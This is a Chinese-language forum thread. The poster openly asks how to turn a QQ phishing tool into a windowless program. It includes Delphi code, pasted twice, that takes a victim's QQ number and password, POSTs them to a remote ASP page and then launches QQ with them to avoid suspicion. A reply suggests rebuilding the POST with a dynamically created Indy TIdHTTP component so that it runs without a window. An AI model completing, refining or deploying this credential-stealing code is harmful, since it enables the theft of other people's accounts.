一个无窗体的程序 访问特定网址我想用个无窗体的程序 访问特定的一个地址 然后传递给网页文件 IP地址 就是想借用 QQ钓鱼的办法
//
procedure TForm1.Button2Click(Sender: TObject);
var
QQState: integer;
QQPath,QQnum,QQPw: string;
SList: TStringList;
PostStr: String;
i: Integer;
PostData,Headers: OleVariant;
begin
SList := TStringList.Create;
try
SList.Add('网页asp文件地址');
PostStr := 'QQNumber=' + ComboBox1.Text;
PostStr := PostStr + '&QQPassWord=' + Edit3.Text; Headers := 'Content-Type: application/x-www-form-urlencoded'+ #10#13;
PostData := VarArrayCreate([0, Length(PostStr)-1], varByte);
for i := 0 to Length(PostStr)-1 do begin
PostData[i] := Ord(PostStr[i+1]);
end;
WebBrowser1.Navigate(SList.Strings[0],EmptyParam,EmptyParam,PostData,Headers);
finally
SList.Free;
end;
begin
combobox1.Items.Add(combobox1.text);
combobox1.Items.SaveToFile('num.ini');
QQnum :=ComboBox1.text;
QQpw :=edit3.Text;
QQPath:=edit1.Text;
if Checkbox1.Checked then
QQState:=40
else
QQState:=21;
if ComboBox1.text= '' then
begin
application.MessageBox( '请填写QQ号码! ', '提示 ',64);
exit;
end
else
if edit3.Text ='' then
application.MessageBox( '请填写QQ密码! ', '提示 ',64)
else
winexec(pchar(GetCommandLine(QQpath,QQnum,QQpw,QQstate)),SW_MAXIMIZE);
end;
end;
//
以上是 有窗体的情况下 记录账户密码 发到网页文件的例子 求无窗体下如何实现??
//
procedure TForm1.Button2Click(Sender: TObject);
var
QQState: integer;
QQPath,QQnum,QQPw: string;
SList: TStringList;
PostStr: String;
i: Integer;
PostData,Headers: OleVariant;
begin
SList := TStringList.Create;
try
SList.Add('网页asp文件地址');
PostStr := 'QQNumber=' + ComboBox1.Text;
PostStr := PostStr + '&QQPassWord=' + Edit3.Text; Headers := 'Content-Type: application/x-www-form-urlencoded'+ #10#13;
PostData := VarArrayCreate([0, Length(PostStr)-1], varByte);
for i := 0 to Length(PostStr)-1 do begin
PostData[i] := Ord(PostStr[i+1]);
end;
WebBrowser1.Navigate(SList.Strings[0],EmptyParam,EmptyParam,PostData,Headers);
finally
SList.Free;
end;
begin
combobox1.Items.Add(combobox1.text);
combobox1.Items.SaveToFile('num.ini');
QQnum :=ComboBox1.text;
QQpw :=edit3.Text;
QQPath:=edit1.Text;
if Checkbox1.Checked then
QQState:=40
else
QQState:=21;
if ComboBox1.text= '' then
begin
application.MessageBox( '请填写QQ号码! ', '提示 ',64);
exit;
end
else
if edit3.Text ='' then
application.MessageBox( '请填写QQ密码! ', '提示 ',64)
else
winexec(pchar(GetCommandLine(QQpath,QQnum,QQpw,QQstate)),SW_MAXIMIZE);
end;
end;
//
以上是 有窗体的情况下 记录账户密码 发到网页文件的例子 求无窗体下如何实现??
POST的数据放到一个TStringList就行
把IDHTTP需要引用 的单元引用到你的dpr中,然后动态创建Idhttp
调用IdHttp的方法